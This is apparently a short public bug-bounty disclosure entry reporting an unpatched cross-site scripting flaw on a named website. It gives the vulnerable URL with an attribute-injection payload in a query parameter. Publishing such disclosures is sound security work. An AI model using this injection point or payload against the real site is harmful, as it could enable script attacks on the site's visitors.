amateurtrampling.com XSS vulnerability

Vulnerable URL: http://www.amateurtrampling.com/?nats=t%22%20onmouseover=alert/OPENBUGBOUNTY/%20a=%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...